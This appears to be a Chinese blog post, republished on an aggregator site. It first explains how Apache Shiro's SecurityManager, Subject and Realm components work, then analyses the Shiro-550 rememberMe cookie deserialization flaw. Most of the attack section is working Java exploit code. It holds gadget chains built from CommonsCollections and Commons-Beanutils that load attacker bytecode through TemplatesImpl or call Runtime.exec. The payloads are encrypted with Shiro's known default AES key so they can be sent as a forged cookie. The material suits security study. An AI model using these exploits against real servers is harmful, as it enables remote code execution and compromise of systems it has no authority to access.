shiro反序列化分析

news2024/12/24 2:57:09

shiro反序列化分析

  • 基础知识
    • 简单介绍
    • 关键组件
      • SecurityManager
      • Subject
      • Realm
      • 总结
    • shiro安全框架在web中使用
      • 配置文件
      • 配置具体实现
        • ShiroFilter过滤器分析
  • shiro的漏洞
    • shiro550链子分析
      • 序列化加密cookie
      • 反序列化解密cookie验证
      • 总结
    • poc编写存在的问题和解决
      • CC6+TemplatesIml
      • CC6+instantiateTransformer
      • CommonsCollections5 改造
      • 原生Commons-Beanutils链攻击

基础知识

简单介绍

Apache Shiro 是一个 Java 安全框架,包括如下功能和特性:

Authentication:身份认证/登陆,验证用户是不是拥有相应的身份。在 Shiro 中,所有的操作都是基于当前正在执行的用户,这里称之为一个 Subject,在用户任意代码位置都可以轻易取到这个Subject。Shiro 支持数据源,称之为 Realms,可以利用其连接 LDAP\AD\JDBC 等安全数据源,并支持使用自定义的 Realms,并可以同时使用一个或多个 Realms 对一个用户进行认证,认证过程可以使用配置文件配置,无需修改代码。同时,Shiro 还支持 RememberMe,记住后下次访问就无需登录。

Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限。同样基于 Subject、支持多种 Realms。Shiro 支持 Wildcard Permissions ,也就是使用通配符来对权限验证进行建模,使权限配置简单易读。Shiro 支持基于 Roles 和基于 Permissions 两种方式的验证,可以根据需要进行使用。并且支持缓存产品的使用。

Session Manager:会话管理,用户登陆后就是一次会话,在没有退出之前,它的所有信息都在会话中。Shiro 中的一切(包括会话和会话管理的所有方面)都是基于接口的,并使用 POJO 实现,因此可以使用任何与 JavaBeans 兼容的配置格式(如 JSON、YAML、Spring XML 或类似机制)轻松配置所有会话组件。Session 支持缓存集群的方式;还支持事件侦听器,允许在会话的生命周期内侦听生命周期事件,以执行相关逻辑。Shiro Sessions 保留发起会话的主机的 IP 地址,因此可以根据用户位置来执行不同逻辑。Shiro 对 Web 支持实现了 HttpSession 类及相关全部 API。也可以在 SSO 中使用。

Cryptography:加密,保护数据的安全性;Shiro 专注于使用公私钥对数据进行加密,以及对密码等数据进行不可逆的哈希。
Permissions:用户权限;Shiro 将所有的操作都抽象为 Permission,并默认使用 Wildcard Permissions 来进行匹配。Shiro 支持实例级别的权限控制校验,例如domain:action:instance。

Caching:缓存,为了提高 Shiro 在业务中的性能表现。Shiro 的缓存支持基本上是一个封装的 API,由用户自行选择底层的缓存方式。缓存中有三个重要的接口 CacheManager/Cache/CacheManagerAware ,Shiro 提供了默认的 MemoryConstrainedCacheManager 等实现。

关键组件

SecurityManager

我们看名字就是安全管理的意思,它是shiro的一个核心接口,负责对subject(其实应该是user的,shiro为了避免重复,就取名为subject了)进行安全操作

  1. 接口本身定义了 createSubject、login、logout 三个方法用来创建 Subject、登陆和退出。
  2. 扩展了 org.apache.shiro.authc.Authenticator 接口,提供了 authenticate
    方法用来进行认证。
  3. 扩展了 org.apache.shiro.authz.Authorizer 接口,提供了对 Permission 和 Role
    的校验方法。包括 has/is/check 相关命名的方法。
  4. 扩展了 org.apache.shiro.session.mgt.SessionManager 接口,提供了
    start、getSession 方法用来创建可获取会话。

可以发现这个接口还继承了很多接口,所以它也实现了很多的功能在这里插入图片描述这里讲一讲最底层的DefaultSecurityManager
继承了上面各种老大哥的东西

它有许多属性

在这里插入图片描述在自身中有三个,因为还继承了,所以也有上面父类的属性,这里讲一讲这些属性

subjectFactory和subjectDAO

public DefaultSecurityManager() {
        super();
        this.subjectFactory = new DefaultSubjectFactory();
        this.subjectDAO = new DefaultSubjectDAO();
    }

可以看到我们的subjectFactory就是DefaultSubjectFactory类的一个实例化对象

在这里插入图片描述就两个方法,就是创建subject的
其他的我就不具体放代码了
subjectDAO:默认使用 DefaultSubjectDAO,用于将 Subject 中最近信息保存到 Session 里面。----(DAO,它是Data Access Object的缩写,数据访问对象。这是一个设计模式,用于将低级的数据访问逻辑或操作从高级的业务服务中分离出来。在Java中,数据访问对象模式是一个用于处理持久性存储的模式,如访问数据和存储数据的行为。)

rememberMeManager:用于提供 RememberMe 相关功能。

sessionManager:默认使用 DefaultSessionManager,Session 相关操作会委托给这个类。

authorizer:默认使用 ModularRealmAuthorizer,用来配置授权策略。

authenticator:默认使用 ModularRealmAuthenticator,用来配置认证策略。

realm:对认证和授权的配置,由用户自行配置,包括 CasRealm、JdbcRealm 等。

cacheManager:缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。

这个类其实就是初始化默认配置这些属性

Subject

前面也说过,org.apache.shiro.subject.Subject 是一个接口,用来表示在 Shiro 中的一个用户。因为在太多组件中都使用了 User 的概念,所以 Shiro 故意避开了这个关键字,使用了 Subject。
在这里插入图片描述可以看到这个接口有许多方法,同样也是提供了认证(login/logout)、授权(访问控制 has/is/check 方法)以及获取会话的能力。在应用程序中如果想要获取一个当前的 Subject,通常使用 SecurityUtils.getSubject() 方法即可。
它和我们的 SecurityManager 提供了非常近似的方法

如果我们仔细分析,我们看到它的实现类DelegatingSubject,它有一个属性
在这里插入图片描述DelegatingSubject 中保存了一个 transient 修饰的 SecurityManager 成员变量,在使用具体的校验方法时,实际上委托 SecurityManager 进行处理,如下图:在这里插入图片描述DelegatingSubject 中不会保存和维持一个用户的“状态(角色/权限)”,恰恰相反,每次它都依赖于底层的实现组件 SecurityManager 进行检查和校验,因此通常会要求 SecurityManager 的实现类来提供一些缓存机制。所以本质上,Subject 也是一种“无状态”的实现。

Realm

其实我们把它叫做role(权力)就可以很好的理解了在这里插入图片描述可以看到它是属于一个底层了,我们看到实现就能更好理解它是干嘛的
在这里插入图片描述可以看到都是一些经典的api,org.apache.shiro.realm.Realm接口,通过Realm来访问指定应用的安全实体———用户、角色、权限等。

一个Realm通常与一个数据源有1对1的对应关系,此接口的实现类,将使用特定于数据源的 API 来进行认证或授权,如 JDBC、文件IO
在使用中,开发人员通常不会直接实现 Realm 接口,而是实现 Shiro 提供了一些相关功能的抽象类 AuthenticatingRealm/AuthorizingRealm,或者使用针对特定数据源提供的实现类如 JndiLdapRealm/JdbcRealm/PropertiesRealm/TextConfigurationRealm/IniRealm 等等

总结

通过对以上三个组件的了解,一次认证及授权的校验流程就形成了:

  1. 应用程序通过获取当前访问的 Subject(也就是用户),并调用其相应校验方法;
  2. Subject 将校验委托给 SecurityManager 进行判断;
  3. SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。

shiro安全框架在web中使用

配置文件

web.xml
Shiro 1.2及以后的版本:

<listener>
    <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

使用ShiroFilter类作为Filter过滤器,并设置EnvironmentLoaderListener作为Web应用程序的一个监听器

shiro.ini
主要包括[main][users][roles][urls] 四项配置。

如果配置了[uesrs][roles],则会自动创建org.apache.shiro.realm.text.IniRealm实例,并可以在 [main] 配置中进行调用及配置。

main:主要是配置应用程序SecurityManager实例以及其他依赖项的地方
比如

[main]
# 指定 Realm 的实现类
myRealm = com.mycompany.MyRealm
# 指定 SecurityManager 的实现类
securityManager = org.apache.shiro.mgt.DefaultSecurityManager
# 将 Realm 添加到 SecurityManager 中
securityManager.realms = $myRealm
#没有登录的用户,请求某个资源页面时,自动跳转到制定的/login.jsp页面。
shiro.loginUrl=/login.jsp
shiro.unauthorizedUrl=/index.jsp
登录成功的用户,访问了没有被授权的资源,自动跳转到制定的页面。

[users]
# 定义用户和他们的密码
username1 = password1
username2 = password2

[roles]
# 定义角色和他们的权限
admin = *
user = read, write

[urls]
#定义 URL 的访问权限
/admin/** = authc, roles[admin]
/user/** = authc, roles[user]
#定义拦截器
[urls]
/login.jsp = authc
/logout = logout
/** = user

Shiro默认提供了一些Filter,名称和对应处理类如下
在这里插入图片描述

配置具体实现

ShiroFilter过滤器分析

当你有如下设置后:
web.xml

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

这就意味着,在启动Shiro Web应用时会,首先会调用一次它的init()方法,在访问某个路由时调用doFilter()方法
在这里插入图片描述我们可以看到选取WebEnvironment中的WebSecurityManager来作为Shiro上下文中的SecurityManager

随后会调用doFilter方法,由于本类没有实现,所以会去调用继承的doFilter方法
OncePerRequestFilter.doFilter
在这里插入图片描述正常情况下的逻辑会进入else语句"过滤器尚未执行,现在执行",这里会调用子类AbstractShiroFilter.doFilterInternal方法,具体逻辑
在这里插入图片描述根据具体的请求和响应,创建对应的Subject对象,在通过execute方法进行校验

这里会使用保存的SecurityManager(也就是WebSecurityManager)来创建 Subject 对象
在这里插入图片描述

shiro的漏洞

shiro550链子分析

序列化加密cookie

首先我先给出调用栈

DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
  ->AbstractRememberMeManager.convertPrincipalsToBytes()
  ->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie

我们直接从登录成功那里开始分析,也就是onSuccessfulLogin方法这里
在这里插入图片描述
首先是看我们是否开启了rememberme这个选项
如果开启了会调用rememberIdentity方法
在这里插入图片描述PrincipalCollection principals:这是一个PrincipalCollection对象,它是一个集合,存储了用户的主要信息。在Shiro框架中,这个对象通常用于存储用户的身份信息,例如用户名或用户ID。
这里会继续会调用它的一个重载方法
在这里插入图片描述
然后调用convertPrincipalsToBytes方法
在这里插入图片描述把我们的byte数据序列化
那我们的这个是什么,就是我们的cookie
然后调用encrypt加密操作
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/bce19281ba1a4965899ed114838b246d.png
进行了一次AES加密,这里也就是我们的问题所在,默认的 CipherKey 往上翻就能看到
在这里插入图片描述
然后就是返回加密后的数据回到rememberIdentity方法,继续调用
在这里插入图片描述
rememberSerilaizedIdentity方法
在这里插入图片描述
只是对我们的数据进行了base编码
保存到cookie中

反序列化解密cookie验证

我们shiro这时候就会验证cookie,进入getRememberedSerializedIdentity方法
在这里插入图片描述

就是把我们的内容base解码,然后现在按理说应该是aes解密了,我们寻找调用了getRememberedSerializedIdentity的地方

在org.apache.shiro.mgt.AbstractRememberMeManager类的的getRememberedPrincipals方法中调用了这个方法在这里插入图片描述其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法
在这里插入图片描述进行一次AES解密,然后触发一次反序列化操作

总结

经过对上面的分析,我们已经知道我们一个攻击的思路了,那就是把我们的cookie传入恶意的序列化数据,然后一定要勾选rememberme,然后shiro就会反序列化我们的数据,造成反序列化攻击

poc编写存在的问题和解决

我们进行攻击,比如我们的cc6,只需要加上我们的aes加密即可

poc

package shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void main(String[] args) throws Exception {

        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Map map = new HashMap();
        TiedMapEntry e = new TiedMapEntry(outerMap, "Nivia");
        map.put(e, "nivia");
        outerMap.remove("Nivia");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();


        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
}

将运行结果作为rememberMe的Cookie发送,但是报错
在这里插入图片描述无法去反序列化我们的数组,我们定位到抛出这个错误信息的地方org.apache.shiro.io.DefaultSerializer类

在这里插入图片描述
这个反序列化和我们正常反序列化不同的地方在于ClassResolvingObjectInputStream类
ClassResolvingObjectInputStream类重写了resolveClass方法,这个方法用于加载与指定流类描述等效的本地类。也就是读取序列化流的时候,读取到一个字符串形式的类,然后通过这个方法找到对应的Class对象
在这里插入图片描述
如果加载失败会抛出ClassNotFoundException异常

在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常在这里插入图片描述
ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象

其中的fqcn为[Lorg.apache.commons.collections.Transformer,这里的[L是JVM的标记,说明实际上是一个数组,即Transformer[]
重写后的resolveClass方法,采用的是ClassUtils.forName,而非Class.forName方法
所以我们不能使用数组

CC6+TemplatesIml

不能有数组,那就不能使用Transformer[]数组了,InvokerTransfomer.transform(key)但是如果我们只使用一次,那就不存在数组的问题了,我们这里通过字节码加载作为出口类,但是又要使用hashmap作为入口类,这里是
在这里插入图片描述
修改之后的pop

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
//避免put就弹出计算器5

        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(obj);
        setFieldValue(outerMap,"factory",newTransformer);
//反射修改transformer中的iMethodName为newTransformer

            serialize(expMap);
            unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CC6+instantiateTransformer

这个其实和上面的大同小异,只是避免使用InvokerTransformer,TrAXFilter.class类的transform方法可以调用对象的newtransfrom,但是没有序列化接口,而我们的InstantiateTransformer有接口,而且可以实例化一个对象

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc2 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
//        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(TrAXFilter.class);
        setFieldValue(outerMap,"factory",instantiateTransformer);
        serialize(expMap);
        unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CommonsCollections5 改造

就是把lazymap触发的数组换成了字节码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC5_CC2_shiroexp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        byte[] code = Files.readAllBytes(Paths.get("evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("CC5_CC2_shiroexp.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

原生Commons-Beanutils链攻击

如果没有cc依赖,我们应该怎么攻击呢?commons-beautils依赖是通过shiro-core自动导入的。
我们只需要修改一下cb链即可
找一个comparableComparator类替换即可

我们使用CaseInsensitiveComparator
但是这个类的元素必须是字符串类型
queue.add方法,这的add会到用offer方法,一直会调用到java.lang.String$CaseInsensitiveComparator.compare方法,这个方法接受的是两个字符串类型

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CommonsBeanutilsShiro {
    public static void main(String[] args) throws Exception{
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("恶意代码");

        setFieldValue(impl, "_name", "nivia");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");

        Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = impl;
        queueArray[1] = 1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
}

或者AttrCompare也可以

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.ReverseComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "wahaha");

        final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",comparator);
//        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1812188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI写作助手:五款超实用工具让创作更轻松

写作这件事一直让我们从小学生头痛到打工人&#xff0c;初高中时期800字的作文让我们焦头烂额&#xff0c;一篇作文里用尽了口水话&#xff0c;拼拼凑凑才勉强完成。 大学时期以为可以轻松顺利毕业&#xff0c;结果毕业前的最后一道坎拦住我们的是毕业论文&#xff0c;苦战几个…

Day48 代码随想录打卡|二叉树篇---合并二叉树

题目&#xff08;leecode T617&#xff09;&#xff1a; 给你两棵二叉树&#xff1a; root1 和 root2 。 想象一下&#xff0c;当你将其中一棵覆盖到另一棵之上时&#xff0c;两棵树上的一些节点将会重叠&#xff08;而另一些不会&#xff09;。你需要将这两棵树合并成一棵新…

C++ 不定参数模版

使用不定参数模版遇到一个小问题&#xff0c;做个记录 测试代码如下&#xff1a; template<typename T, typename ...Args> void pushToVectorIfParamIsStr(std::vector<std::string>& vec, T &&value,Args&&... args) {const bool is std:…

linux-计划任务

作用&#xff1a;定时自动完成特定的工作 计划任务的分类 一次性的计划任务&#xff1a;例如下周三对文档的重要文件备份一次 周期性的计划任务&#xff1a;每天12:00创建一个文件 命令 一次性的任务计划 at batch 周期性计划任务 crontab anacron 一次性计划任务 …

快手可灵AI开始内测,对标Sora?免费体验!

最近&#xff0c;国内第一个可以和 Sora 相媲美的 AI 视频生成模型&#xff0c;快手的可灵大模型&#xff08;Kling&#xff09;开始免费内测。 在快手旗下的快影App&#xff0c;就可以申请。 别忘记填写表格信息&#xff0c;可以加快你的申请通过&#xff0c;链接我放在这里…

macOS Sequoia 开发者测试版下载和安装教程

macOS Sequoia 于 2024年6月10日在WWDC 2024 上发布&#xff0c;里面添加了AI、窗口排列、操控iPhone等功能&#xff0c;目前发布的为测试版本&#xff0c;可能很多人不知道怎么去下载安装&#xff0c;现在小编教一下大家怎么安装最新的 macOS Sequoia 开发者测试版。 下载 mac…

基于 Transformer 的大语言模型

语言建模作为语言模型&#xff08;LMs&#xff09;的基本功能&#xff0c;涉及对单词序列的建模以及预测后续单词的分布。 近年来&#xff0c;研究人员发现&#xff0c;扩大语言模型的规模不仅增强了它们的语言建模能力&#xff0c;而且还产生了处理传统NLP任务之外更复杂任务…

[总线]AMBA总线架构的发展历程

目录 引言 发展历程 第一代AMBA&#xff08;AMBA 1&#xff09; 第二代AMBA&#xff08;AMBA 2&#xff09; 第三代AMBA&#xff08;AMBA 3&#xff09; 第四代AMBA&#xff08;AMBA 4&#xff09; 第五代AMBA&#xff08;AMBA 5&#xff09; AMBA协议简介 ASB&#x…

PCIe学习——重点提纲

PCIe学习-重点提纲 基础知识 计算机架构基础总线系统概述PCI vs PCI-X vs PCIe PCIe 概述 PCIe 的发展历史PCIe 与其他总线的对比PCIe 的优势和应用场景 PCIe 体系结构 PCIe 分层模型 物理层&#xff08;Physical Layer&#xff09;数据链路层&#xff08;Data Link Layer&…

.NET 全局过滤器

过滤器流程图: 过滤器描述: 1、Authorization Filter : 是五种Filter中优先级最高的,通常用于验证Request合不合法、用户身份是否被认证(然后授权等)、复杂的权限角色认证、登录授权等操作。 2、Resource Filter: 会在Authorization之后,Model Binding之…

网络数据库后端相关面试题(其三)

18&#xff0c; 传输控制协议tcp和用户数据报协议udp有哪些区别 第一&#xff0c;tcp是面向字节流的&#xff0c;基本的传输单位是tcp报文段&#xff1b;而udp是面向报文的&#xff0c;基本传输单位是用户数据报。 第二&#xff0c; tcp注重安全可靠性&#xff0c;连接双方在…

C++学习日记 | LAB 7 shared library 共享库

资料来源&#xff1a;南科大 于仕琪 C/C Program Design LINK&#xff1a;CPP/week07 at main ShiqiYu/CPP GitHub 一、本节内容 本节主要介绍建立共享库的内容。习题主要内容为 共享库将开发人员希望与其他开发人员共享的功能的编译代码打包在一起。共享库通常具有以下特点…

33 _ 跨站脚本攻击(XSS):为什么Cookie中有HttpOnly属性?

通过上篇文章的介绍&#xff0c;我们知道了同源策略可以隔离各个站点之间的DOM交互、页面数据和网络通信&#xff0c;虽然严格的同源策略会带来更多的安全&#xff0c;但是也束缚了Web。这就需要在安全和自由之间找到一个平衡点&#xff0c;所以我们默认页面中可以引用任意第三…

颠覆传统,重塑未来:物业服务新篇章,从售后服务管理系统开始!

数字化时代再不断发展&#xff0c;面向了各行各业。因此&#xff0c;物业行业也面临着前所未有的挑战与机遇。你是否曾经遇到过这样的困扰&#xff1a;报修流程繁琐、响应速度慢、服务质量参差不齐&#xff1f;这些问题严重影响了日常生活&#xff0c;同时&#xff0c;物业公司…

Android Jetpack Compose 实现一个电视剧选集界面

文章目录 需求概述效果展示实现思路代码实现总结 需求概述 我们经常能看到爱奇艺或者腾讯视频这类的视频APP在看电视剧的时候都会有一个选集的功能。如下图所示 这个功能其实很简单&#xff0c;就是绘制一些方块&#xff0c;在上面绘制上数字&#xff0c;还有标签啥的。当用户…

AI Pin 仅获1万订单,公司或10亿美元卖给惠普

